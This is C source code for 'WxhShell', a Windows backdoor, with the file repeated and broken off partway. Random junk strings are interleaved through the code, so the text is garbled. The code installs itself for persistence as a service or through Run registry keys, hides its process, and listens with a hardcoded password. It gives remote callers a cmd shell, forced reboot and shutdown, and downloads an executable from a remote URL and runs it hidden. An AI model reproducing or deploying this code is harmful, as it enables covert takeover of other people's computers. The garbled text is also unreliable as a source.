_~ iw[*#u DWORD AffinityMask; [RTs[3E^ DWORD BasePriority; P1' al ULONG UniqueProcessId; ;cN{a& ULONG InheritedFromUniqueProcessId; t" Z6[XG } PROCESS_BASIC_INFORMATION; j^rIH#V X1vd'> PROCNTQSIP NtQueryInformationProcess; &m:uO^-D 3fQuoQuD"} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <1\Nb{5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :T
!'N\7 aM0f/"-_ HANDLE hProcess; dQR-H7U PROCESS_BASIC_INFORMATION pbi;
yhA6i k-OPU, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]G< Vg5 if(NULL == hInst ) return 0; Is?La A` o8'+`C g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PxkOT* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Jidwt$1l( NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EV@X*| w 6]%sFy2 if (!NtQueryInformationProcess) return 0; @xYlS5{ 'o>B'$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D#JL!A%O if(!hProcess) return 0; 0o*8#i/)!3 [>5-$Y OT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +<3XJ7D XtSkh] #z! CloseHandle(hProcess); =uYYsC\T G.d TvLv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bsA-2*Q+ if(hProcess==NULL) return 0; ;8{4!S&b 4s{~r HMODULE hMod; .j<]mUY char procName[255]; g0Gf6o>2 unsigned long cbNeeded; !sW(wAy?o !"/n/jz if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .Cl:eu,] !SdSE^lz` CloseHandle(hProcess); .-oxb,/ NmJWU:W_@ if(strstr(procName,"services")) return 1; // 以服务启动 OGg># vj,s =Bhe'.]QSx return 0; // 注册表启动 d,Yw5$i } -0{r>,&Mm O5kz5b>Z // 主模块 K<Iv:5-2 int StartWxhshell(LPSTR lpCmdLine)
sAS:-wp { !()$8 SOCKET wsl; 9s$CA4?HP BOOL val=TRUE; *<jAiB,O* int port=0; DiwxXqY
struct sockaddr_in door; @l jA ?6un4EVL{ if(wscfg.ws_autoins) Install(); 4;]hK!AXS lc,tVe_ port=atoi(lpCmdLine); O%!!w p#?7w if(port<=0) port=wscfg.ws_port; 'o+L41 }v!$dr,j' WSADATA data; ``Dq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W=Mb pU%n]]qF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^O<&f D setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1&)?JZhg door.sin_family = AF_INET; }v*G_}^ door.sin_addr.s_addr = inet_addr("127.0.0.1"); !K}~/9Z=m
door.sin_port = htons(port); Q$1bWUS& >eqxV|]i if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y7
3VFb closesocket(wsl); uRRQyZ return 1; B~JwHwIhA } m4&h>9. 8 D!NQ~'.a=2 if(listen(wsl,2) == INVALID_SOCKET) { +"cq(Y@ closesocket(wsl); vCxD~+zf return 1; |_*O '#jx } 7;sj%U^'l Wxhshell(wsl); CBOi`bEf WSACleanup(); t2"O q<[_T return 0; wF,UE_ pP?MWe
Eg } qY<'<T4\ ?hM>mL // 以NT服务方式启动 =Z+nz^'b VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {QZUDPPR { :xD=`ib DWORD status = 0; RwPN gRF DWORD specificError = 0xfffffff; u7[ykyV =aj/,Q] serviceStatus.dwServiceType = SERVICE_WIN32; H!nr^l'+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~Ro9up serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n'01Hh`0 serviceStatus.dwWin32ExitCode = 0; #qI= Z0Y serviceStatus.dwServiceSpecificExitCode = 0; LbG_ z =A serviceStatus.dwCheckPoint = 0; TUDr\' @/f serviceStatus.dwWaitHint = 0; 8p9bCE>\ j!4et; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4%}*&nsI-Z if (hServiceStatusHandle==0) return; mc_ch$r! SWQ5fcPu status = GetLastError(); W$rH"_@m if (status!=NO_ERROR) VUYmz)m5 { K]|> Et` serviceStatus.dwCurrentState = SERVICE_STOPPED; .J.-Mm`. serviceStatus.dwCheckPoint = 0; PSVc+s[Q+V serviceStatus.dwWaitHint = 0; GXjfQ~<] serviceStatus.dwWin32ExitCode = status; k.^coI5 serviceStatus.dwServiceSpecificExitCode = specificError; dBe`p5Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); r'uGWW"w return; x.zbD8l/9 } 9}uW}yJ ./D$dbu3 serviceStatus.dwCurrentState = SERVICE_RUNNING; 0iK;Egwm serviceStatus.dwCheckPoint = 0; ,^ WJm?R serviceStatus.dwWaitHint = 0; I_%a{$Gjl if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EG0auzW? } q7Dw_< t|!j2<e // 处理NT服务事件,比如:启动、停止 :ORR_f`> VOID WINAPI NTServiceHandler(DWORD fdwControl) f0<%&2ym { WN5`;{\ switch(fdwControl) R8UYP=Kp { 0zCw>wBPW case SERVICE_CONTROL_STOP: ,4,V4 N serviceStatus.dwWin32ExitCode = 0; mBJeqG serviceStatus.dwCurrentState = SERVICE_STOPPED; n?ctLbg serviceStatus.dwCheckPoint = 0; ''^Y>k serviceStatus.dwWaitHint = 0; o fMY,~w { C?= P SetServiceStatus(hServiceStatusHandle, &serviceStatus); NeBsv= [- } mVsIAC$}8 return; >'xGp7}y case SERVICE_CONTROL_PAUSE: *" 98L+ serviceStatus.dwCurrentState = SERVICE_PAUSED;
-0Tnh;&= break; 3
M10fI? case SERVICE_CONTROL_CONTINUE: #E+gXan serviceStatus.dwCurrentState = SERVICE_RUNNING; ,7)C" break; ww{_c]My case SERVICE_CONTROL_INTERROGATE: kR@Yl Yo break; 3bd5FsI^pU }; |*X*n*oI SetServiceStatus(hServiceStatusHandle, &serviceStatus); je4 w=]JV } |Uk"
{ @@g\2Gs // 标准应用程序主函数 j0GMTri3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P;8>5;U4- { [;.`,/ N+)?$[ // 获取操作系统版本 (ihP`k-. OsIsNt=GetOsVer(); <0.$'M~E GetModuleFileName(NULL,ExeFile,MAX_PATH); hv$m4,0WB A[dvEb;r // 从命令行安装 \zkw2*t if(strpbrk(lpCmdLine,"iI")) Install(); $BDBN_p Grz 3{U // 下载执行文件 4Kv[e]10( if(wscfg.ws_downexe) { |nk3^;Yf if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G02m/8g3 WinExec(wscfg.ws_filenam,SW_HIDE); {8EW)4Hf } \#x}q'BC4 s;YKeE!8 if(!OsIsNt) { Na,_ // 如果时win9x,隐藏进程并且设置为注册表启动 Q_"\Q/=?Do HideProc(); uH^PQ StartWxhshell(lpCmdLine); i=32KI(% } x2#qg>`l else p(m1O70C if(StartFromService()) j?|* LT$%7 // 以服务方式启动 /Go
K}W} StartServiceCtrlDispatcher(DispatchTable); Bl1Z4` 3 else |"$uRV=qm // 普通方式启动 QI[}(O7#6 StartWxhshell(lpCmdLine); 1GE|Wd L1)@z8] return 0; =KX<_;E } =FBpo2^QB; agOk*wH5 i"^<CR@e Px'!; =========================================== F X1ZG! snp v z1iS ]yX@'f 6a>H|"PNE lZt(&^T M`,XyIn " _2mNTJiw VAYb=4lt #include <stdio.h> ,
Ut Hc] #include <string.h> H.J5i~s
#include <windows.h> -lRhz!E] #include <winsock2.h> *R`MMm #include <winsvc.h> _b4fS'[ #include <urlmon.h> f!-Sz/ c# U06o;s( #pragma comment (lib, "Ws2_32.lib") XqR{.jF. #pragma comment (lib, "urlmon.lib") #DP7SO Ew^ @Aq #define MAX_USER 100 // 最大客户端连接数
td(M#a- #define BUF_SOCK 200 // sock buffer qq+MBW* #define KEY_BUFF 255 // 输入 buffer l@d
gJ LEc8NQs #define REBOOT 0 // 重启 H]qq ~bO[ #define SHUTDOWN 1 // 关机 iIU(
C.I <qiICb)~ #define DEF_PORT 5000 // 监听端口 n'64;J5 G79C {|c\ #define REG_LEN 16 // 注册表键长度 Plz-7fy33 #define SVC_LEN 80 // NT服务名长度 2A$0CUMb ,p,Du
F // 从dll定义API ^[M~K5Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NR/-m7#- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d7bjbJwu typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m(3);)d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'rV2Bt, Tj,Nmb>Q7' // wxhshell配置信息 PF ;YE6 struct WSCFG { {u]CHN`%Z int ws_port; // 监听端口 owMuT^x? char ws_passstr[REG_LEN]; // 口令 !5;t#4= int ws_autoins; // 安装标记, 1=yes 0=no %^^h) Wy} char ws_regname[REG_LEN]; // 注册表键名 p6blD-v char ws_svcname[REG_LEN]; // 服务名 VA]ZR+m char ws_svcdisp[SVC_LEN]; // 服务显示名 ur xqek char ws_svcdesc[SVC_LEN]; // 服务描述信息 j-P^Zv};u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d x359 int ws_downexe; // 下载执行标记, 1=yes 0=no UIw?;:Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iH _"W+dq char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~iT{8 U~g@TfU; }; Nzc>)2% N
'O1.6*K // default Wxhshell configuration |2UauTp5yK struct WSCFG wscfg={DEF_PORT, KS>Fl-> "xuhuanlingzhe", :+pPrGj" 1, cd"wNH- "Wxhshell", Y_shy6"KH "Wxhshell", 7+]F^
6 "WxhShell Service", v =bv@c "Wrsky Windows CmdShell Service", (E]"Srwh "Please Input Your Password: ", ;G$)MS'nB 1, 9t\
[N/ "http://www.wrsky.com/wxhshell.exe", 9_`3IJ "Wxhshell.exe" @{de$ODu }; Pu/lpHm| 1(F'~i|5 // 消息定义模块 B$EK_@M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3 \9][S-B char *msg_ws_prompt="\n\r? for help\n\r#>"; <wqRk< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'v`~(9'Rcj char *msg_ws_ext="\n\rExit."; .kzms char *msg_ws_end="\n\rQuit."; $ACe\R/% char *msg_ws_boot="\n\rReboot..."; <W9) Bq4 char *msg_ws_poff="\n\rShutdown..."; I]UA0[8X char *msg_ws_down="\n\rSave to "; zrTY1Asw;4 :=B[yD! char *msg_ws_err="\n\rErr!"; ees^O{ 8 char *msg_ws_ok="\n\rOK!"; ;C6O3@Q 8Y]}Gb! char ExeFile[MAX_PATH]; i!ds {`d int nUser = 0; 7@\GU].2 HANDLE handles[MAX_USER]; y#GCtkhi int OsIsNt; 'NRN_c9 TyyRj4> SERVICE_STATUS serviceStatus; k@lXXII ? SERVICE_STATUS_HANDLE hServiceStatusHandle; 4jPwL|# N+[}Gb"8q // 函数声明 )<tzm'Rc int Install(void); aq$62>[ int Uninstall(void); =NI.d>kvC int DownloadFile(char *sURL, SOCKET wsh); G0^V!0I&O int Boot(int flag); xBt4~q;#sE void HideProc(void); ?\l!]vu* int GetOsVer(void); V=Ww> int Wxhshell(SOCKET wsl); <m:4g
,6 void TalkWithClient(void *cs); U5 -zB)V int CmdShell(SOCKET sock); |^\Hv5 int StartFromService(void); CiHn;-b; int StartWxhshell(LPSTR lpCmdLine); Rqt[D @;m p}cd}@cQ6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qb
46EZu VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1'gKZB)TG7 s n=zh1 A // 数据结构和表定义 Bl:{p>-q SERVICE_TABLE_ENTRY DispatchTable[] = S]Sp Z8 { o
x03c {wscfg.ws_svcname, NTServiceMain}, V%VrAi. {NULL, NULL} (0Zrfu^ }; U`HXsq
p} {.0X[uAf // 自我安装 X=-gAutfE= int Install(void) )<m=YI
;< { Mt]=v}z char svExeFile[MAX_PATH]; JuKk"tr~RB HKEY key; 9;r48)5 strcpy(svExeFile,ExeFile); Ki&WS<,0Z OcyiL)tv 5 // 如果是win9x系统,修改注册表设为自启动 qBf wN 1 if(!OsIsNt) { 5&GQ=m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YqK+F=0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Po2_ 0uX RegCloseKey(key); $X{B*
WF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .rD#1)O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 35-DnTv RegCloseKey(key); O?+tY
y? return 0; )Gu0i7iN } .x\/XlM } *FI5z[8, } 1( QWt else { 3N)Ycf8 P@o,4\;K // 如果是NT以上系统,安装为系统服务 _>Pe]3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `2Z4#$. if (schSCManager!=0) UpE1PLZlB { P22y5z~ SC_HANDLE schService = CreateService '? !7 Be ( TV$\v@\ = schSCManager, 5Xq.=/eX wscfg.ws_svcname, 4jq`No_ wscfg.ws_svcdisp, 0k .# SERVICE_ALL_ACCESS, `% #zMS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LRqw\fKk[ SERVICE_AUTO_START, cN[q)ts SERVICE_ERROR_NORMAL, tXb7~aO svExeFile, hr$VVbOho NULL, wj";h Aw NULL, }tl8(kjm NULL, (<g;-pZH% NULL, l{D,O?`Av NULL )0 42?emn ); b@Mng6R if (schService!=0) US*<I2ZLh { jmA{rD W CloseServiceHandle(schService); I1}{~@ CloseServiceHandle(schSCManager); k8t Na@H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b'Nvx9=W strcat(svExeFile,wscfg.ws_svcname); 4BUK5)B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~[
ks| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 04T*\G^:= RegCloseKey(key); }GU6Q|s[u[ return 0; ;?Y`e } "*H'bzK } A=YEY n CloseServiceHandle(schSCManager); Xj@
} bCac.x#jo } ?'8MI|*l% v#YS`];B return 1; "< hx } MWd_6XM 88+\mX;A# // 自我卸载 *{p&Fy55 int Uninstall(void) xZ{|D { 0z<]\a4 HKEY key; VlQwVe '%|20j if(!OsIsNt) { tRrY)eElS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l4B O@ RegDeleteValue(key,wscfg.ws_regname); Xta> RegCloseKey(key); aK=3`q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4Xb}I;rM RegDeleteValue(key,wscfg.ws_regname); NtP.) RegCloseKey(key); v%PWr5] return 0; }rAN2D]"} } 3S2p:\] } =g>7|?6>= } c%,6L <[ else { :tS>D5dz( }SvWC8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?0)XS< if (schSCManager!=0) ~9>[ U%D { A ** M"T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tk|;5^#H if (schService!=0) 1#X=&N { v>cE59('0 if(DeleteService(schService)!=0) { Appz1q CloseServiceHandle(schService); M$hw(fC|m1 CloseServiceHandle(schSCManager); VNEZBy"F return 0;
{{)[Ap) } 7(+ZfY~w" CloseServiceHandle(schService); `h{mj|~ } )/i|"`)>_ CloseServiceHandle(schSCManager); YKxA2`3v% } 3 BhA.o } ua>~$`@gX #yRA.; return 1; JhXN8Bq33 } $m0x8<7nu V+<AG*[ // 从指定url下载文件 m~IWazj;A int DownloadFile(char *sURL, SOCKET wsh) bFxJ| { jO
N}&/ HRESULT hr; z ex.0OT; char seps[]= "/"; F?AfB[PM char *token; 92ww[+RQ@ char *file; Saq>o. char myURL[MAX_PATH]; 4O"kOEkKT> char myFILE[MAX_PATH]; tnbs]6 b2kbuk] strcpy(myURL,sURL); %1+~(1P token=strtok(myURL,seps); *H<g9<Dn while(token!=NULL) d3J_IW+8R$ { V~"d`j file=token; u,9U0ua@; token=strtok(NULL,seps); 4zDAfi#0 } BU{V,|10a
]p.f*] GetCurrentDirectory(MAX_PATH,myFILE); [|O6n"' strcat(myFILE, "\\"); fv'P!+)t strcat(myFILE, file); M\4;d # send(wsh,myFILE,strlen(myFILE),0); $5(%M8qmQ send(wsh,"...",3,0); _rh.z_a7w hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |3o@IuGt if(hr==S_OK) `mTxtuid{ return 0; qinQ5 t else d"a7{~l return 1; W/X;|m` {NqGWkGt*b } 0|vWwZq R@aT=\u+ // 系统电源模块 g7yHhF>%X int Boot(int flag) (pNng"/ { y9 '3vZ HANDLE hToken; ^Exq=oV TOKEN_PRIVILEGES tkp; R6.#gb8^oS k~F/Ho+R& if(OsIsNt) { D4-U[l+K> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lY?d*qED LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'F~SNIay tkp.PrivilegeCount = 1; ts$UC $ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rqo<Xt` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )fr\V." if(flag==REBOOT) { m,q<R1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t!C-G+It return 0; 8{e 3 } o`Brr: else { mmK_xu~f28 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q0<`XDD` return 0; =Bx~'RYl1d } @SB+u+mOS } l!'iLq"K( else { Ip-jqN J~ if(flag==REBOOT) { ["/x~\c'N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) go5!zSs return 0; g"f^YEQ_ } t9{EO#o'k else { DR=1';63 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r&RSQHa) return 0; N `MQHQ1 } @]4 s&;
} /Qy0vAvJ fXj return 1; ?Fv(4g } ocUu v_h{_b8 // win9x进程隐藏模块 (
PlNaasV void HideProc(void) +(0eOO'\M { X=~QE}x [8#l~
|U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rK wkj) if ( hKernel != NULL ) :f:C*mYvu { *ni|I@8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /.bwwj_; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (""&$BJQ| FreeLibrary(hKernel); Tr)[q> } Gx($q;8 *1Q?~ return; V-0Y~T } <D}k@M
Z j*}xe'# // 获取操作系统版本 uWE@7e4'I int GetOsVer(void) g;T`~
{ >{Djx OSVERSIONINFO winfo; 7
pV3#fQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aL}_j#m{ GetVersionEx(&winfo); mMH0 o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (X/JXu{ return 1; A[MEtI=Q J else v80e]M! return 0; b._pG(o1 } sXA=KD8 X@rAe37h+ // 客户端句柄模块 D@e:Fu1\R int Wxhshell(SOCKET wsl) NT0q!r/! { q_bB/ SOCKET wsh; hE${eJQ| U struct sockaddr_in client; '4EJ_Vhztc DWORD myID; t"Rn#V\c." ^Ue>T8 while(nUser<MAX_USER) V!p;ME { gueCP+a_ int nSize=sizeof(client); \oyr[so(i wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~7|z 2L if(wsh==INVALID_SOCKET) return 1; TD<. :ul] V.qB3V$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nsb13mlY if(handles[nUser]==0) iM-@?!WF closesocket(wsh); xQ4Q '9 else {dDU^7O nUser++; [||$1u\% } :|bPr_&U$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mSs%g L]g Dcq^C LPY return 0; gO29:L[t } ~O!v?2it8q ==&=3 // 关闭 socket ;TYkJH" void CloseIt(SOCKET wsh) ^c*'O0y[D { WE\V<MGS/ closesocket(wsh); $4m{g"xL nUser--; 0oD?4gn ExitThread(0); 'Q# KjY } cOcm9m# HQ"D>hsuU // 客户端请求句柄 xGjEEBL void TalkWithClient(void *cs) |X>:"?4t { O:4.xe E8/P D SOCKET wsh=(SOCKET)cs; (sY?"(~j?T char pwd[SVC_LEN]; rxO|k0x^C char cmd[KEY_BUFF]; 9i n& \ char chr[1]; o`G@Je_}x int i,j; a!;?!f-i {C
[7V{4(% while (nUser < MAX_USER) { US-P>yF tcfUhSz,I if(wscfg.ws_passstr) { mD tD7FzJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k@^)>J^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OX!9T.j //ZeroMemory(pwd,KEY_BUFF); vI4St; i=0; #,Rmu while(i<SVC_LEN) { wT;D<rqe` [E+#+-n7 // 设置超时 ^8DC
W`V fd_set FdRead; _rOKif?5 struct timeval TimeOut; ]w({5i FD_ZERO(&FdRead); 0]&~ddL FD_SET(wsh,&FdRead); ~b*f2UVs
TimeOut.tv_sec=8; ]*?qaIdqu TimeOut.tv_usec=0; /_v@YB!0 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1qtu,yIf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M(xd:Fa? ]oj
2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |nIm$ p' pwd=chr[0]; to2dkU if(chr[0]==0xd || chr[0]==0xa) { -
3kg,=HU; pwd=0; K[O'@v break; #7GbG\ } xDm^f^}> i++; Zj%l (OVq } 4 QD.'+L Q
u{#4qToA // 如果是非法用户,关闭 socket f3h^R20qmO if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;
7k@_ } 4 @ )|N' l-g+E{ZM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X0O@, send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UoCFj2?C })%WL;~ while(1) { %Sf%XNtu w|7<y8#qC ZeroMemory(cmd,KEY_BUFF); *%bQ p u?r=;:N|y // 自动支持客户端 telnet标准 C;QIp6"1 j=0; QE1DTU while(j<KEY_BUFF) { g4^=Q'j- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l@Uo4b^4x cmd[j]=chr[0]; %#7Yr(& if(chr[0]==0xa || chr[0]==0xd) { |]y]K% cmd[j]=0; Ksr.' break; kdcr*7w } wGr5V! j++; ~ (I'm[ } :+: vBrJm q$7SJ.pF // 下载文件 Z:j6AF3; if(strstr(cmd,"http://")) { .Lbu[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); e:#c\Ay+ if(DownloadFile(cmd,wsh)) XpFW(v send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Sy:/BQ else
gJz~~g' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H=,0p } T$)N2]FE else { U(*k:Fw Uskz~~}G switch(cmd[0]) { W{'RR. ksb.]P d. // 帮助 xd
}g1c case '?': { &b~if}vcb send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ':Avh|q3N break; R{N9'2l: } yCC.j%@ // 安装 H&
L case 'i': { Ut|G.%1Vd% if(Install()) =GGt:3Kx- send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! 3&_#VO else &"G4yM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~m@v ~= break; %uA\Le } Wg \`!T // 卸载 -`knSR case 'r': { ~Q4 emgBD if(Uninstall()) t.f#_C\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); JrZ"AId2 else $;@LPE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g3*" ^C2= break; AiMD"7
)c }
LY>-kz] // 显示 wxhshell 所在路径 ^dc~hD case 'p': { -^a?]`3_v char svExeFile[MAX_PATH]; vbXZ Z strcpy(svExeFile,"\n\r"); WcE{1&PXx strcat(svExeFile,ExeFile); F?>rWP
send(wsh,svExeFile,strlen(svExeFile),0); 0H<&*U_V break; !4gyrNS } gA`x-` // 重启 io8c[#"uU case 'b': { kaK0'l2% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )}{V#,xz@ if(Boot(REBOOT)) -&3WN!egq send(wsh,msg_ws_err,strlen(msg_ws_err),0); _4H}OGZI else { g8I=s7cnb closesocket(wsh); 3>jL7sh%| ExitThread(0); z@\r V@W5 } HkgmZw, break; P[|FK(l } [;IW'cXNq // 关机 aq a%B case 'd': { Z33&FUU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xUp[)B6?: if(Boot(SHUTDOWN)) KZK9|121 send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#}A]1N else { A(!nT=0o closesocket(wsh); ?B&Z x-krd ExitThread(0); fWr6f`de } ,}9 G|$ break; y-Xd~<*Ia } X<6Ro
es2 // 获取shell /hC[>t< case 's': { 7.-g=Rcz CmdShell(wsh); vSu|!Xb] closesocket(wsh); F4=+xd >0 ExitThread(0); ,d^ze = break; T);eYC"@ } J2c.J/o // 退出 8XwZJ\5 case 'x': { 0zSRk]i.f send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~j1.;WId[ CloseIt(wsh); s n|q
EH break; iG:9uDY } H|E{n/g // 离开 OHz>B!` case 'q': { {i:5XL send(wsh,msg_ws_end,strlen(msg_ws_end),0); :'\4%D=w closesocket(wsh); aD2+9?m WSACleanup(); Bl)znJ^ exit(1); 4v@urW s break; qbrf;` } 6SYQRK } mLa0BIP } /EJwO3MW 8 *Fr=+KN // 提示信息 ] D(laqS;" if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n@3(bl5{ } SUSam/xeg" } RVlAWw( aJnZco6 return; >e]46K } EYe)d+E* X>i`z // shell模块句柄 x#mZSSd int CmdShell(SOCKET sock) n+5X*~D { c|f)k:Q STARTUPINFO si; Bld%d:i ZeroMemory(&si,sizeof(si)); R]oi&"H@r) si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; un+U_|>c si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;%Z%]nIS PROCESS_INFORMATION ProcessInfo; @J[l^o9 char cmdline[]="cmd"; IIN"'7Z^R CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V;b^b5yZ> return 0; &hK5WP6whW } 9!XW): QK+s}ny // 自身启动模式 Sa V]6/| int StartFromService(void) (#w8/@JxF { ` ]*KrY typedef struct l:!4^>SC { =y3gnb6 DWORD ExitStatus; !fFmQ\|)4S DWORD PebBaseAddress; 69Y>iPRU DWORD AffinityMask; ~=t,g S DWORD BasePriority; 8]DN]\\o ULONG UniqueProcessId; 4<`x*8`
, ULONG InheritedFromUniqueProcessId; ]rEFWA } PROCESS_BASIC_INFORMATION; yFt'<{z[nL m6qmZ2< PROCNTQSIP NtQueryInformationProcess; &Wj
%`T{ |TOz{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H}}]Gh.T static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1goK>=-^ T)o)%Yv HANDLE hProcess; 7)S;VG k PROCESS_BASIC_INFORMATION pbi; "RuH"~o wW4/]so M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & A=q _ if(NULL == hInst ) return 0; v})0zz?,1 )t
